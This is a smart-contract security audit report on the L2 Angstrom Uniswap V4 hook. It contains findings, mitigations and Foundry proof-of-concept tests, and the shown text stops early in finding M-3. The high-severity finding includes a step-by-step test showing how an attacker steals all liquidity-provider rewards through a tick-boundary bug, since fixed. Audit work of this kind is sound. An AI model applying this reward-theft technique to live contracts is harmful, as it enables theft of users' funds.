L2 Angstrom Audit Report

Prepared by Cyfrin

Version 2.1

Lead Auditors

Giovanni Di Siena

100proof

Assisting Auditors

Alexzoid (Formal Verification)

October 1, 2025

Contents

1 About Cyfrin

Cyfrin is a Web3 security company dedicated to bringing industry-leading protection and education to our partners and their projects. Our goal is to create a safe, reliable, and transparent environment for everyone in Web3 and DeFi. Learn more about us at cyfrin.io.

2 Disclaimer

The Cyfrin team makes every effort to find as many vulnerabilities in the code as possible in the given time but holds no responsibility for the findings in this document. A security audit by the team does not endorse the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

3 Risk Classification

	Impact: High	**Impact: Medium**	**Impact: Low**
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

4 Protocol Summary

The L2 deployment of Angstrom to priority ordered chains is a Uniswap V4 Hook that imposes a tax on just-in-time (JIT) liquidity provision and top-of-block swaps. MEV is redistributed to liquidity providers (LPs) based on an effective swap price that prioritises rewarding LPs who are more heavily affected by the arbitrage that is assumed to occur in the top-of-block swap. The assumption is that this entity who wins the bid will take advantage of some discrepancy in pricing between the AMM and other (likely centralized) trading venues, so LPs further below the effective price suffer greater loss-versus-rebalancing (LVR) and should be more heavily compensated.

5 Audit Scope

The audit scope was limited to:

```
src/libraries/CompensationPriceFinder.sol
src/libraries/Math512Lib.sol
src/libraries/MixedSignLib.sol
src/libraries/PoolKeyHelperLib.sol
src/libraries/Q96MathLib.sol
src/libraries/TickIterator.sol
src/libraries/TickLib.sol
src/modules/UniConsumer.sol
src/types/PoolRewards.sol
src/AngstromL2.sol
src/hook-config.sol
```

6 Executive Summary

Over the course of 10 days, the Cyfrin team conducted an audit on the L2 Angstrom smart contracts provided by Sorella Labs. In this period, a total of 24 issues were found.

This review yielded 1 high, 4 medium, and 5 low severity vulnerabilities. The high-severity issue was related to incorrect reward accounting due to incorrect liquidity calculations resulting in complete theft of rewards. The medium-severity issues included DoS due to insufficient hook permissions, incorrect hook deltas, and edge cases in the full precision math library. A number of subtle complexities were also observed in the behavior of liquidity computations, tick crossings, and a general opportuninty to improve the tick iteration logic.

Considering the number and complexity of high/medium severity issues identified, it is likely that there are more complex bugs still present that could not be identified given the time-boxed nature of this engagement. This is especially true of the high which was found very close to the end of the audit. This is a concern as it suggests that given more time, deeper review may reveal additional high impact issues. A follow-up audit is therefore recommended prior to deploying to production.

Summary

Project Name	L2 Angstrom
Repository	l2-angstrom
Commit	386baff9f903...
Audit Timeline	Sept 9th - Sept 22nd
Methods	Manual Review, Stateless Fuzzing

Issues Found

Critical Risk	0
High Risk	1
Medium Risk	4
Low Risk	5
Informational	8
Gas Optimizations	6
Total Issues	24

Summary of Findings

[H-1] All rewards can be stolen due to incorrect active liquidity calculations when the current tick is an exact multiple of the tick spacing at the upper end of a liquidity range	Resolved
[M-1] Effective price calculations can be affected by edge cases in `Math512Lib::sqrt512` and `Math512Lib::div512by256`	Resolved
[M-2] All swaps other than the top-of-block swap will revert	Resolved
[M-3] All swaps will revert if the dynamic protocol fee is enabled since `hook-config.sol` does not encode the `afterSwapReturnDelta` permission	Resolved
[M-4] Swaps will revert when `A = B + Xhat - x = 0`	Resolved
[L-1] Dynamic LP fees will remain zero by default unless explicitly updated	Resolved

[L-2] `TickIterator::_advanceToNextUp` sets uninitialized end tick as the current tick which causes `TickIterator::hasNext` to return true when this is not actually the case	Resolved
[L-3] `CompensationPriceFinder` amount delta rounding directions are not consistent with Uniswap	Acknowledged
[L-4] `CompensationPriceFinder::getZeroForOne` may compute smaller effective prices than expected	Resolved
[L-5] Dust due to rounding tax calculations will accumulate in `AngstromL2` and cannot be recovered	Acknowledged
[I-1] Custom error conditionals can be re-written for better readability	Acknowledged
[I-2] `IBeforeInitializeHook` should be added to the `AngstromL2` inheritance chain	Resolved
[I-3] Unused custom error should removed if not required	Resolved
[I-4] Modifier-style base `Ownable()` constructor call can be removed from `AngstromL2`	Acknowledged
[I-5] Consider burning `ERC-6909` claim tokens within `AngstromL2::withdrawProtocolRevenue` and transferring the underlying asset instead	Resolved
[I-6] Zero-for-one swaps will revert for small input amounts relative to the specified priority fee	Closed
[I-7] Large priority fee relative to one-for-zero swap amounts will cause `CompensationPriceFinder::getOneForZero` to underflow	Acknowledged
[I-8] `rewardGrowthOutsideX128` is not correctly initialized in `PoolRewards::updateAfterLiquidityAdd`	Resolved
[G-1] Unnecessary inline assembly operations can be removed and replaced by hardcoded constants	Acknowledged
[G-2] Remove unnecessary local variables	Acknowledged
[G-3] `AngstromL2::beforeInitialize` conditionals can be combined	Acknowledged
[G-4] Unnecessary arithmetic validation within `AngstromL2::withdrawProtocolRevenue` can be removed	Resolved
[G-5] `AngstromL2::_oneForZeroCreditRewards` should skip execution of range reward logic if there is no liquidity	Resolved
[G-6] `AngstromL2::_computeAndCollectProtocolSwapFee` computation can be simplified	Resolved

7 Findings

7.1 High Risk

7.1.1 All rewards can be stolen due to incorrect active liquidity calculations when the current tick is an exact multiple of the tick spacing at the upper end of a liquidity range

Description: Consider the scenario in which the current tick, `t`, is an exact multiple of the tick spacing, `s`, residing at the upper bound of the active liquidity range `[t0, t1)`, where: `s = 10`, `t0 = 0`, and `t = t1 = 30`. Execution of a zero-for-one swap causes `TickIteratorLib::initDown` to be invoked within `AngstromL2::_zeroForOneDistributeTax`, which calls `TickIterator::reset` and ultimately `TickIterator::_advanceToNextDown`:

```
function _advanceToNextDown(TickIteratorDown memory self) private view {
    do {
        (int16 wordPos, uint8 bitPos) =
@>          TickLib.position((self.currentTick - 1).compress(self.tickSpacing));

        if (bitPos == 255) {
            self.currentWord = self.manager.getPoolBitmapInfo(self.poolId, wordPos);
        }

        bool initialized;
        (initialized, bitPos) = self.currentWord.nextBitPosLte(bitPos);
@>      self.currentTick = TickLib.toTick(wordPos, bitPos, self.tickSpacing);
        if (initialized) break;
    } while (self.endTick < self.currentTick);
}
```

The expectation when swapping from the upper tick of the range, where Uniswap determines zero active liquidity, to an initialized tick with non-zero liquidity, is that this net liquidity delta of the tick crossing will increase the active liquidity. However, the above logic will incorrectly initialize the current tick as `t1 - s`. This means the liquidity delta of `t1` is ignored and can result in arithmetic underflow when decrementing the net liquidity in both `CompensationPriceFinder::getZeroForOne` and `AngstromL2::_zeroForOneCreditRewards`:

```
liquidity = liquidity.sub(liquidityNet);
```

Now consider a second, overlapping liquidity position `[t0', t1')`, where `t0' = -50` and `t1 = 50`. Execution of the same zero-for-one swap again suffers from the boundary tick being skipped; however, in this scenario, if there is sufficient liquidity provided by the overlapping position then the subtraction will not revert. For simplicity, assume both positions provide equal liquidity. In this case, the liquidity of position `[t0, t1)` is not considered in the initial liquidity, but then when `t0` is crossed and the liquidity contribution of this range is subtracted, the invocation of `IUniV4::getTickLiquidity` returns the full liquidity amount. The subsequent computation is therefore left with the liquidity that should be considered active in `[t0', t0]`, but there is no next tick below this range and so the loop exits. This causes execution to fall into the excess distribution logic which updates the global accumulator.

One thing to note here is that the comment states the excess should be distributed to the last position; however, it simply increments `globalGrowthX128` and nothing else (i.e. `rewardGrowthOutsideX128` remains unchanged for the last position).

```
// Distribute remainder to last range and update global accumulator.
unchecked {
    cumulativeGrowthX128 += PoolRewardsLib.getGrowthDelta(taxInEther, liquidity);
    rewards[ticks.poolId].globalGrowthX128 += cumulativeGrowthX128;
}
```

When this incorrect behavior is leveraged by an attacker, it is possible to steal all rewards. While such an attack does not depend on a specific priority fee, it must be sufficient to win the top-of-block swap if needed to move the current tick to a boundary tick and JIT taxes must also be paid on liquidity addition. These caveats combined will decrease the profit, but it can be profitable nevertheless, considering the scenario in which:

- The current tick `t` is either already at or swapped one-for-zero to boundary tick `t1`.

- Due to `rewardGrowthOutsideX128` not being correctly initialized, as reported in H-02, the entry for both `t0` and t1‘ will be zero.
- Liquidity `L' = L * R / swapTax` is added to `[t1 - s, t1)`, where: `L` is the current liquidity in `[t0, t1)`, and `R` is the current reward balance.
- The current tick is zero-for-one swapped back down to a price immediately below the upper boundary of the attacker's liquidity position, i.e. `t < t1`, minimizing the amount of `token1` spent.
- Upon crossing the tick boundary, `_updateTickMoveDown()` flips `t1` and stores the corresponding `rewardsGrowthOutsideX128` entry as the initial `rewardGrowthGlobalX128`, `G`.
- When `_zeroForOneCreditRewards()` is called, this bug in `TickIteratorDown` causes the subtraction of the (negative) net liquidity for this tick to be skipped, meaning the additional liquidity added to `[t1 - s, t1)` is not added to `liquidity` and is not considered in the calculation.
- This is crucial because it means that the `cumulativeGrowthX128` calculated within the excess distribution block shown above uses a smaller `liquidity` value than intended, resulting in a much larger growth delta as this value is defined as the reward growth **per unit of liquidity**.
- Assuming a `cumulativeGrowthX128` delta of `g`, then `swapTax == g * L` rather than `swapTax == g * (L + L')` such that calculation of the reward growth inside `[t1 - s, t1)` is:

```
   growthInsideX128
== growthGlobalX128 - rewardsGrowthOutsideX128[T0] - rewardsGrowthOutsideX128[T1]
== (G + g) - 0 - G
== g

    g * L'
== g * L * R / swapTax
== g * L * R / (g * L)
== R
```

- Thus when the attacker finally removes their liquidity from `[t1 - s, t1)`, they receive the full `R` rewards and realize a profit.

Impact: The active liquidity is calculated incorrectly when the current tick is an exact multiple of the tick spacing at the upper end of a liquidity range. In certain circumstances, this can result in swaps reverting due to underflow. In others, for example if there are multiple overlapping liquidity positions, this can result in incorrect distribution of rewards. In the most impactful case, an attacker can steal all the rewards at a profit.

Proof of Concept:

1. This test will cause a liquidity underflow in `_zeroForOneCreditRewards()` at AngstromL2.sol#L364

```
function test_cyfrin_swapToBoundaryAddLiqudityAndSwapBackForRevert() public {
    uint256 PRIORITY_FEE = 0.7 gwei;
    int24 INIT_T0 = -50;
    int24 INIT_T1 = 50;
    int24 T0 = 10;
    int24 T1 = 30;

    /* Preconditions */
    assertGt(T0, INIT_T0, "precondition: T0 > INIT_T0");
    assertLt(T1, INIT_T1, "precondition: T1 < INIT_T1");

    PoolKey memory key = initializePool(address(token), 10, 3);
    PoolId id = key.toId();

    angstrom.setPoolLPFee(key, 0.005e6);
    setPriorityFee(PRIORITY_FEE);

    addLiquidity(key, INIT_T0, INIT_T1, 10e21);
    bumpBlock();
    router.swap(key, false, -1000e18, int24(T1).getSqrtPriceAtTick());
```

```
    int24 currentTick = manager.getSlot0(id).tick();
    assertEq(currentTick, T1, "precondition: After swap must be sitting on T1");

    addLiquidity(key, T0, T1, 10e21);

    // Now swap back
    bumpBlock();
    router.swap(key, true, -1000e18, int24(INIT_T0 - 1).getSqrtPriceAtTick());
}
```

2. This test will cause a liquidity underflow in `getZeroForOne()` at CompensationPriceFinder.sol#L67

```
function test_cyfrin_swapBackwardsFromTickBoundaryAndRevert() public {
    uint256 PRIORITY_FEE = 0.7 gwei;
    PoolKey memory key = initializePool(address(token), 10, 20);
    angstrom.setPoolLPFee(key, 50000);

    addLiquidity(key, -10, 20, 10e21);
    assertEq(getRewards(key, -10, 20), 0);

    bumpBlock();

    setPriorityFee(PRIORITY_FEE);
    // NOTE: this currently reverts when decrementing liquidity net in
    ↪  CompensationPriceFinder::getZeroForOne
    // because the swap begins at the upper tick of the position (20), where Uniswap determines the
    ↪  liquidity is 0.
    // Then, when crossing the next initialized tick (10), it tries to decrement liquidity net by 10e21
    ↪  which reverts.
    vm.expectRevert();
    router.swap(key, true, -1000e18, int24(-10).getSqrtPriceAtTick());
}
```

3. This test demonstrates how all rewards can be stolen by an attacker:

```
struct AttackConfig {
    uint128 INIT_LIQUIDITY;
    uint256 LOOPS_TO_BUILD_UP_REWARDS;
    uint256 PRIORITY_FEE_TO_BUILD_UP_REWARDS;
    uint256 ATTACKER_PRIORITY_FEE;
    int24 INIT_T0;
    int24 INIT_T1;
    int24 START_TICK;
}

function test_cyfrin_stealAllRewards() public {
    AttackConfig memory cfg = AttackConfig({
        INIT_LIQUIDITY: 1e22,
        LOOPS_TO_BUILD_UP_REWARDS: 5,
        PRIORITY_FEE_TO_BUILD_UP_REWARDS: 1000 gwei,
        ATTACKER_PRIORITY_FEE: 5 gwei, // As low as will win TOB because JIT tax must be paid
        INIT_T0: 0,
        INIT_T1: 50,
        START_TICK: 17
    });

    PoolKey memory key = initializePool(address(token), 10, cfg.START_TICK);
    PoolId id = key.toId();

    addLiquidity(key, cfg.INIT_T0, cfg.INIT_T1, cfg.INIT_LIQUIDITY);

    /* Swap back and forth to build up rewards */
    setPriorityFee(cfg.PRIORITY_FEE_TO_BUILD_UP_REWARDS);
```

```
for (uint256 i = 0; i < cfg.LOOPS_TO_BUILD_UP_REWARDS; i++) {
    bumpBlock();
    router.swap(key, true, -10_000e18, int24(cfg.INIT_T0 + 1).getSqrtPriceAtTick());
    bumpBlock();
    router.swap(key, false, -10_000e18, int24(cfg.START_TICK).getSqrtPriceAtTick());
}

console2.log("\n\n\n *** ATTACK STARTS ***\n\n\n");

uint256 rewardsToSteal = angstrom.getPendingPositionRewards(
    key,
    address(router),
    cfg.INIT_T0,
    cfg.INIT_T1,
    bytes32(0));

uint256 ethBefore = address(router).balance;
uint256 tokBefore = token.balanceOf(address(router));

int24 attackTickUpper = (cfg.START_TICK + 10)/10 * 10;
int24 attackTickLower = attackTickUpper - 10;
assertLt(attackTickUpper, cfg.INIT_T1, "attackTickUpper >= INIT_T1");
assertGt(attackTickLower, cfg.INIT_T0, "attackTickLower <= INIT_T0");

/* Step 1: Attacker moves price to next tick boundary */

setPriorityFee(0);
bumpBlock();
uint256 startPrice = TickMath.getSqrtPriceAtTick(cfg.START_TICK);
router.swap(key, false, -10_000e18, int24(attackTickUpper).getSqrtPriceAtTick());

/* Step 2: Attacker swaps zero-to-one back to cfg.START_TICK */

uint256 swapTax = angstrom.getSwapTaxAmount(cfg.ATTACKER_PRIORITY_FEE);
uint128 ratio = uint128(rewardsToSteal) * 10_000 / uint128(swapTax);
uint128 attackLiquidity = cfg.INIT_LIQUIDITY*ratio/10_000;
console2.log("Calculated ratio as: %s",ratio);

bumpBlock();
setPriorityFee(cfg.ATTACKER_PRIORITY_FEE);
uint256 jitTax = angstrom.getJitTaxAmount(cfg.ATTACKER_PRIORITY_FEE);

addLiquidity(key, attackTickLower, attackTickUpper, attackLiquidity);
/* Just swap down to "price at attackTickUpper minus 1" to save on token1 */
router.swap(key, true, -10e18, (attackTickUpper - 1).getSqrtPriceAtTick());

(, int256 liqNet) = manager.getTickLiquidity(id, attackTickUpper);
console2.log("tick liquidity[%s]: %s", vm.toString(attackTickUpper), vm.toString(liqNet));

// uint256 gr0 = angstrom.testing_getRewardGrowthInsideX128(id, cfg.START_TICK, cfg.INIT_T0,
↪  cfg.INIT_T1);
// console2.log("growthInside[%s,%s]: %s", vm.toString(cfg.INIT_T0), vm.toString(cfg.INIT_T1), gr0);


// uint256 gr1 = angstrom.testing_getRewardGrowthInsideX128(id, cfg.START_TICK, attackTickLower,
↪  attackTickUpper);
// console2.log("growthInside[%s,%s]: %s", vm.toString(attackTickLower),
↪  vm.toString(attackTickUpper), gr1);

/* Calculate attackRewards before removeLiquidity */
uint256 attackRewards =
    angstrom.getPendingPositionRewards(
        key,
```

```
            address(router),
            attackTickUpper - 10,
            attackTickUpper,
            bytes32(0));


    // Attacker removes the liquidity they added
    router.modifyLiquidity(key, attackTickUpper - 10, attackTickUpper, -int128(attackLiquidity),
    ↪  bytes32(0));


    console2.log("-----------------------------------------------------");
    console2.log("Swap tax:       %s", swapTax);
    console2.log("rewardsToSteal: %s", rewardsToSteal);
    console2.log("Attack rewards: %s", attackRewards);
    console2.log("JIT tax paid:   %s", (jitTax * 2));

    int256 ethDelta = int256(address(router).balance) - int256(ethBefore);
    int256 tokDelta = int256(token.balanceOf(address(router))) - int256(tokBefore);

    /* Price is calculated with respect to START TICK */
    uint256 priceX96 = startPrice;
    uint256 price = priceX96 * priceX96 * 1e18 / 2**192;
    int256 profitInEth = ethDelta + tokDelta * 1e18 / int256(price);

    console2.log("price:          %s", price);

    console2.log("ETH delta:      %s", ethDelta);
    console2.log("TOK delta:      %s", tokDelta);

    console2.log("Profit (ETH):   %s", profitInEth);
}
```

Recommended Mitigation: When the current tick is exactly on a liquidity boundary, this off-by-one error should be resolved by performing the the net liquidity decrement prior to any other calculations. Seeding the call from within `reset()` with `currentTick + 1` to be inclusive of the lower bound will avoid skipping the boundary tick without considering the liquidity in `[t1, t1+s)` as being utilized.

Sorella Labs: Fixed in commit c01b6c7.

Cyfrin: Verified. The net liquidity of the boundary tick is now considered correctly and the attack is no longer profitable.

7.2 Medium Risk

7.2.1 Effective price calculations can be affected by edge cases in `Math512Lib::sqrt512` and `Math512Lib::div512by256`

Description: `Math512Lib::sqrt512` implements a full-width integer Newton-Raphson square root. This hinges on the assumption that the initial guess is larger than the upper limb and fits within 256 bits such that the iteration is strictly monotonically decreasing, i.e. converges on the true square root. However, when the most significant bit of the upper limb is odd, floor division by two can result in an initial guess that is smaller than the upper limb, causing the quotient of `floor(([x1 x0]) / root) >= 2^256` to be too wide.

```
function sqrt512(uint256 x1, uint256 x0) internal pure returns (uint256 root) {
    if (x1 == 0) {
        return FixedPointMathLib.sqrt(x0);
    }
@>  root = 1 << (128 + (LibBit.fls(x1) / 2));
    uint256 last;
    do {
        last = root;
        // Because `floor(sqrt(UINT512_MAX)) = 2^256-1` and guesses converging towards the
        // correct result the result of all divisions is guaranteed to fit within 256 bits.
@>      (, root) = div512by256(x1, x0, root);
        root = (root + last) / 2;
    } while (root != last);
    return root;
}
```

The high digit returned by `Math512Lib::div512by256` is correctly ignored per the intended implementation details, although this also depends on the assumption that the initial guess fits within 256 bits which can be violated as demonstrated.

Furthermore, the implementation of `Math512Lib::div512by256` is such that the long division should be equivalent to the Solady implementation from which it was adapted. This is not the case, as the synthesis of 2^{256} in calculating the remainder with the upper limb in place of `r1` is incorrect:

```
/// @dev Computes `[x1 x0] / d`
function div512by256(uint256 x1, uint256 x0, uint256 d)
    internal
    pure
    returns (uint256 y1, uint256 y0)
{
    if (d == 0) revert DivisorZero();
    assembly {
        // Compute first "digit" of long division result
        y1 := div(x1, d)
        // We take the remainder to continue the long division
        let r1 := mod(x1, d)
        // We complete the long division by computing `y0 = [r1 x0] / d`. We use the "512 by
        // 256 division" logic from Solady's `fullMulDiv` (Credit under MIT license:
        // https://github.com/Vectorized/solady/blob/main/src/utils/FixedPointMathLib.sol)

        // We need to compute `[r1 x0] mod d = r1 * 2^256 + x0 = (r1 * 2^128) * 2^128 + x0`.
@>      let r := addmod(mulmod(shl(128, x1), shl(128, 1), d), x0, d)

        // Same math from Solady, reference `fullMulDiv` for explanation.
        let t := and(d, sub(0, d))
        d := div(d, t)
        let inv := xor(2, mul(3, d)) // inverse mod 2**4
        inv := mul(inv, sub(2, mul(d, inv))) // inverse mod 2**8
        inv := mul(inv, sub(2, mul(d, inv))) // inverse mod 2**16
        inv := mul(inv, sub(2, mul(d, inv))) // inverse mod 2**32
        inv := mul(inv, sub(2, mul(d, inv))) // inverse mod 2**64
        inv := mul(inv, sub(2, mul(d, inv))) // inverse mod 2**128
```

```
        // Edits vs Solady: `x0` replaces `z`, `r1` replaces `p1`, final 256-bit result stored in `y0`
        y0 := 
            mul(
@>              or(mul(sub(r1, gt(r, x0)), add(div(sub(0, t), t), 1)), div(sub(x0, r), t)),
                mul(sub(2, mul(d, inv)), inv) // inverse mod 2**256
            )
    }
}
```

Rather than forming the desired computation, the left shift construction truncates the top 128 bits before the modulo step. The magnitude of these dropped high bits determines whether `r` and hence `y0` is biased upward or downward by application of the borrow step.

Combined, these issues have serious implications for the overall computation of the effective price:

- Every invocation of `Math512Lib::div512by256` in `CompensationPriceFinder` asserts that the upper bits are zero. This holds true so long as `x1 < d`, i.e. the upper bits of `L +/- sqrt(D)` are less than `A = Xhat + x - B` such that the solution fits within 256 bits. Thus, the upper 128 bits of `L + sqrt(D)`, can be used to influence the calculated compensation price. This is dependent entirely on the liquidity distribution, so by extension the lower/upper tick prices, range reserves, and delta sums. However, note that this can also be influenced by incorrect application of the square root when computing `sqrt(D)`.
- The invocation of `Math512Lib::div512by256` in `Math512Lib::sqrt512` ignores the upper limb, so it is the upper 128 bits of the input upper limb that influence the resulting root calculation, along with the bug in `Math512Lib::sqrt512` itself. If the last set bit is even, then the returned root can deviate around the true root, since the `Math512Lib::sqrt512` implementation will converge on the true root but the `Math512Lib::div512by256` implementation will incorrectly apply the borrow step. If the last set bit is odd, then the returned root will be significantly smaller than the true root, and again this can deviate in both directions depending on the upper 128 bits of the upper limb.
- `CompensationPriceFinder::getZeroForOne` and `CompensationPriceFinder::getOneForZero` both pass the full precision multiplication of `simplePstarX96` with `2**96` which requires at most 353 bits (i.e. empty upper 128 bits of the upper limb). Therefore, these invocations of `Math512Lib::sqrt512` should only be affected if the last set bit is odd.
- In `CompensationPriceFinder::_zeroForOneGetFinalCompensationPrice`, the numerator `-L + sqrt(D)` will be computed incorrectly if the last set bit of `D * 2^192` is odd. Again, this is entirely dependent on the liquidity distribution and will result in a smaller numerator than expected (assuming underflow is avoided). Execution then continues to `Math512Lib::div512by256` which could return a lower compensation price than expected. Similar is true of the negative `A` branch, except the numerator and resulting compensation price would be larger than expected.
- In `CompensationPriceFinder::_oneForZeroGetFinalCompensationPrice`, the numerator `L + sqrt(D)` will be computed incorrectly in a manner similar to the above, resulting in a smaller numerator and compensation price.

Impact: `Math512Lib::sqrt512` is not strictly monotonically decreasing and `Math512Lib::div512by256` incorrectly computes long division. This can result in the effective price calculations being incorrect.

Proof of Concept: Create a new file `Math512Lib.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {console, Test} from "forge-std/Test.sol";
import {stdError} from "forge-std/StdError.sol";
import {LibBit} from "solady/src/utils/LibBit.sol";
import {FixedPointMathLib} from "solady/src/utils/FixedPointMathLib.sol";
import {Math512Lib} from "../../src/libraries/Math512Lib.sol";

contract Math512LibHarness {
    using Math512Lib for uint256;
```

```
    function fullMul(uint256 x, uint256 y) public pure returns (uint256 z1, uint256 z0) {
        return Math512Lib.fullMul(x, y);
    }

    function sqrt512(uint256 x1, uint256 x0) public pure returns (uint256) {
        return Math512Lib.sqrt512(x1, x0);
    }

    function div512by256(uint256 x1, uint256 x0, uint256 d) public pure returns (uint256 y1, uint256
    ↪  y0) {
        return Math512Lib.div512by256(x1, x0, d);
    }
}

contract Math512LibTest is Math512LibHarness, Test {
    // BUG: when msb is odd in [129, 245], the quotient is too wide
    function test_oddMsbInitialRootArithmeticError(uint8 msb) public {
        uint256 x0;

        // Choose a msb that is odd and in [129, 245] such that LibBit.fls(x1) returns an odd index
        msb = uint8(129 + 2 * bound(msb, 0, (245 - 129) / 2));

        uint256 x1 = uint256(1) << msb;

        uint256 p = LibBit.fls(x1);
        assertEq(p, msb, "index not equal to msb");
        assertEq(p % 2, 1, "index not odd");

        // Rounds down when p is odd, so we have r0 = 2^(128 + 64) = 2^193
        uint256 r0 = uint256(1) << (128 + (p / 2));

        // If root <= x1, then floor(([x1 x0]) / root) >= 2^256, i.e. quotient too wide.
        if (r0 <= x1) console.log("initial root <= x1 when msb is odd -> unsafe: quotient too wide");

        vm.expectRevert(stdError.arithmeticError);
        uint256 root = this.sqrt512(x1, x0);
    }

    // BUG: when msb is odd in [247, 255], initial root computation overflows
    function test_oddMsbInitialRootOverflow(uint8 msb) public {
        uint256 x0;

        // ensure msb is odd and in [247, 255]
        msb = uint8(247 + 2 * bound(msb, 0, (255 - 247) / 2));
        uint256 x1 = uint256(1) << msb;

        uint256 r0 = uint256(1) << (128 + (LibBit.fls(x1) / 2));
        if (msb != 255) assertGt(r0, x1, "initial root not > x1");

        vm.expectRevert("DivisorZero()");
        uint256 root = this.sqrt512(x1, x0);
    }

    // BUG: when msb is 254 (max even < 256), initial root computation overflows
    function test_evenMsbInitialRootOverflow() public {
        uint256 x0;

        uint8 msb = 254; // max even < 256
        uint256 x1 = uint256(1) << msb;

        uint256 r0 = uint256(1) << (128 + (LibBit.fls(x1) / 2));
        assertGt(r0, x1, "initial root not > x1");
```

```
        vm.expectRevert(stdError.arithmeticError);
        uint256 root = this.sqrt512(x1, x0);
    }

    // NOTE: when msb is even in [0, 254), initial root computation is safe
    function test_evenMsbInitialRoot(uint8 msb) public {
        uint256 x0;

        vm.assume(msb % 2 == 0 && msb < 254);
        uint256 x1 = uint256(1) << msb;

        uint256 r0 = uint256(1) << (128 + (LibBit.fls(x1) / 2));
        assertGt(r0, x1, "initial root not > x1");

        uint256 root = this.sqrt512(x1, x0);
    }

    // BUG: when x1 <= d, the quotient fits in 256 bits and y1 should be zero; however,
    // there are cases in which the high digit is not zero, so it should not be ignored
    function test_discardHighDigit(uint256 x0, uint256 x1, uint256 d) public {
        // Only allow inputs that should result in a y1 of 0 (i.e. quotient fits in 256 bits)
        vm.assume(d != 0 && x1 <= d);

        (uint256 y1, ) = this.div512by256(x1, x0, d);

        assertEq(y1, 0, "y1 not zero -> quotient too wide");
    }

    // BUG: when x1 <= d, the quotient fits in 256 bits and y1 should be zero; however,
    // there are cases in which y0 does not collapse to FixedPointMathLib.fullMulDiv(r1, x0, d)
    function test_fullMulDivEquivalence(uint256 x0, uint256 x1, uint256 d) public {
        // Compute 512-bit product
        (uint256 p1, uint256 p0) = this.fullMul(x1, x0);

        // Ensure the high digit does not exceed d; otherwise, the quotient does not fit in 256 bits
        vm.assume(d != 0 && p1 <= d);

        (uint256 y1, uint256 y0) = this.div512by256(p1, p0, d);
        uint256 z = FixedPointMathLib.fullMulDiv(x1, x0, d);

        assertEq(y1, 0, "y1 not zero -> quotient too wide");
        assertEq(y0, z, "y0 not equal to z -> incorrect quotient");
    }
}
```

Recommended Mitigation: Ensure that the initial square root guess is always larger than the upper limb such that the iteration is monotonically decreasing.

Compute the long division remainder as:

```
let r := addmod(addmod(mulmod(r1, not(0), d), r1, d), x0, d)
```

Sorella Labs: Fixed in commit 5a21cf7.

Cyfrin: Verified. The initial square root guess now always starts at or above the correct result and division is computed without discarding the upper bits.

7.2.2 All swaps other than the top-of-block swap will revert

Description: For swaps that are not top-of-block, `AngstromL2::afterSwap` short-circuits; however, this occurs too late in the execution with an incorrect `hookDeltaUnspecified` after a debt is erroneously created in the invocation of `_computeAndCollectProtocolSwapFee()`. This happens because `_getSwapTaxAmount()` is not top-of-block

context dependent, so a non-zero `taxInEther` is passed even though the tax has already been taken from the swap with the highest priority fee:

```
function afterSwap(
    address,
    PoolKey calldata key,
    SwapParams calldata params,
    BalanceDelta swapDelta,
    bytes calldata
) external override returns (bytes4, int128 hookDeltaUnspecified) {
    _onlyUniV4();

    PoolId id = key.calldataToId();
@>  uint256 taxInEther = _getSwapTaxAmount();
@>  hookDeltaUnspecified =
        _computeAndCollectProtocolSwapFee(key, id, params, swapDelta, taxInEther);

    Slot0 slot0BeforeSwap = Slot0.wrap(slot0BeforeSwapStore.get());
    Slot0 slot0AfterSwap = UNI_V4.getSlot0(id);
    rewards[id].updateAfterTickMove(
        id, UNI_V4, slot0BeforeSwap.tick(), slot0AfterSwap.tick(), key.tickSpacing
    );

    uint128 blockNumber = _getBlock();
    if (taxInEther == 0 || blockNumber == _blockOfLastTopOfBlock) {
@>      return (this.afterSwap.selector, hookDeltaUnspecified);
    }
    _blockOfLastTopOfBlock = blockNumber;

    params.zeroForOne
        ? _zeroForOneDistributeTax(id, key.tickSpacing, slot0BeforeSwap, slot0AfterSwap)
        : _oneForZeroDistributeTax(id, key.tickSpacing, slot0BeforeSwap, slot0AfterSwap);

    return (this.afterSwap.selector, hookDeltaUnspecified);
}
```

This behavior violates the following property:

```
// Hook must maintain zero balance deltas for all currencies (delta neutral)
invariant hookDeltaNeutrality(env e)
    forall PoolManager.Currency currency.
        ghostCurrencyDeltas[_AngstromL2][currency] == 0
```

Impact: It is only possible for a single top-of-block swap to be executed and all other swaps within the same block will revert.

Proof of Concept: The following test should be added to `AngstromL2.t.sol`:

```
function test_cyfrin_multipleSwaps() public {
    setPriorityFee(0.7 gwei);

    PoolKey memory key = initializePool(address(token), 10, 3);
    setupSimpleZeroForOnePositions(key);

    router.swap(key, true, -100e18, int24(-20).getSqrtPriceAtTick());

    setPriorityFee(0.6 gwei);

    vm.expectRevert("CurrencyNotSettled()");
    router.swap(key, true, -100e18, int24(-35).getSqrtPriceAtTick());
}
```

Recommended Mitigation: If the given swap is not a top-of-block swap, ensure a zero value `taxInEther` is

passed to `_computeAndCollectProtocolSwapFee()`:

```
function afterSwap(
    address,
    PoolKey calldata key,
    SwapParams calldata params,
    BalanceDelta swapDelta,
    bytes calldata
) external override returns (bytes4, int128 hookDeltaUnspecified) {
        _onlyUniV4();

+       uint128 blockNumber = _getBlock();
        PoolId id = key.calldataToId();
-       uint256 taxInEther = _getSwapTaxAmount();
+       uint256 taxInEther = blockNumber == _blockOfLastTopOfBlock ? 0 : _getSwapTaxAmount();
        hookDeltaUnspecified =
            _computeAndCollectProtocolSwapFee(key, id, params, swapDelta, taxInEther);

@@ -237,7 +238,6 @@ contract AngstromL2 is
            id, UNI_V4, slot0BeforeSwap.tick(), slot0AfterSwap.tick(), key.tickSpacing
        );

-       uint128 blockNumber = _getBlock();
        if (taxInEther == 0 || blockNumber == _blockOfLastTopOfBlock) {
            return (this.afterSwap.selector, hookDeltaUnspecified);
        }
```

The property is no longer violated after applying this fix.

Sorella Labs: Other major changes were made in this commit but was broadly fixed in commit ffb9fb2.

Cyfrin: Verified. The tax amount is only calculated for top-of-block swaps; otherwise, zero is passed as recommended.

7.2.3 All swaps will revert if the dynamic protocol fee is enabled since `hook-config.sol` does not encode the `afterSwapReturnDelta` permission

Description: If `AngstromL2::setPoolHookSwapFee` is called by the owner to configure the dynamic hook protocol fee to a non-zero value then the Uniswap V4 delta accounting will result in a revert with `CurrencyNotSettled()`.

